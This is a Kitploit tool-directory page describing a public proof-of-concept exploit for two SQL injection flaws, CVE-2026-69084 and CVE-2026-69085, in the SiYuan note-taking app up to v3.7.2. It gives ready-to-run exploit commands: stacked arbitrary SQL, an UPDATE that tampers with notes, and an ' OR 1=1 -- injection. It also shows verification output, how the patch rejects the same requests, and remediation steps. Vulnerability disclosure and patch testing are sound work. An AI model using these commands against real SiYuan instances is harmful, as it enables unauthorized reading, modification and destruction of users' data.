Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-69084-PoC — CVE-2026-69084/69085 — SiYuan arbitrary SQL execution via searchEmbedBlock + searchDocs SQLi (CVSS 9.9). Verified on v3.7.2, rejected on v3.7.3. | Kitploit
도구/GitHubGitHub/boreas37/cve-2026-69084-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubboreas37/cve-2026-69084-poc

CVE-2026-69084-PoC

CVE-2026-69084/69085 — SiYuan arbitrary SQL execution via searchEmbedBlock + searchDocs SQLi (CVSS 9.9). Verified on v3.7.2, rejected on v3.7.3.

저장소 보기
1119일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-69084 / CVE-2026-69085 — SiYuan Arbitrary SQL Execution & SQLi

CVE-2026-69084: Arbitrary SQL Execution via /api/search/searchEmbedBlock CVE-2026-69085: SQL Injection via /api/filetree/searchDocs CVSS 9.9 (Critical) each · CWE-89 · SiYuan <= v3.7.2 (fixed in v3.7.3) Published 2026-08-03 · no public PoC at publication time

TL;DR

SiYuan (open-source note-taking app, github.com/siyuan-note/siyuan) exposes two API endpoints that hand attacker-controlled SQL to its SQLite database:

CVE-2026-69084 — /api/search/searchEmbedBlock: The stmt parameter is passed verbatim to the main read-write handle with no single-statement or read-only restriction. The SQLite driver executes stacked (semicolon-separated) statements, so an attacker can / / / / anything in the database. Gated only by — reachable with a publish RoleReader token, or anonymously when publish mode has .

siyuan.db
CREATE
INSERT
UPDATE
DELETE
DROP
CheckAuth
Publish.Auth.Enable=false

CVE-2026-69085 — /api/filetree/searchDocs: The keyword parameter is concatenated directly into SQL with no escaping or parameter binding.

Both were fixed in v3.7.3 via sql.CheckSingleStatement() + sql.CheckReadonlyStatementInBox().

Exploit

root@kitploit:~
# 1. Non-destructive probe (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check

# 2. DB-write proof: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof

# 3. Run arbitrary SQL (stacked statements supported)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"

# 4. searchDocs SQLi (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"

If the instance runs with publish mode enabled and auth disabled (Publish.Auth.Enable=false), no --auth is needed at all.

Verification (real SiYuan v3.7.2 in Docker)

root@kitploit:~
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL accepted (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL accepted (blocks: 0)
[+] DB-WRITE PROOF COMPLETE — pwn_69084 table + 31337 row in siyuan.db

# On the host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337

Patched v3.7.3 rejects the same requests:

  • SELECT 1; CREATE TABLE x → "SQL statement is not single"
  • UPDATE blocks ... → "SQL statement is not a read-only query"
  • single SELECT still works (legit functionality preserved)

PoC internals

The Python PoC performs a session login (/api/system/loginAuth) to obtain the auth cookie, then POSTs to the vulnerable endpoint. Tested against b3log/siyuan:v3.7.2 (vulnerable) and b3log/siyuan:v3.7.3 (patched).

Remediation

  • Upgrade SiYuan to v3.7.3 or later.
  • If you expose SiYuan's publish mode, keep Publish.Auth.Enable=true and use strong RoleReader tokens.

References

  • GHSA-p2x7-4c4p-8wh6 (69084)
  • GHSA-5w4j-hchp-r332 (69085)
  • NVD — CVE-2026-69084
  • NVD — CVE-2026-69085
  • VulnCheck advisory

Disclaimer

For authorized security testing and educational purposes only.

도구 다운로드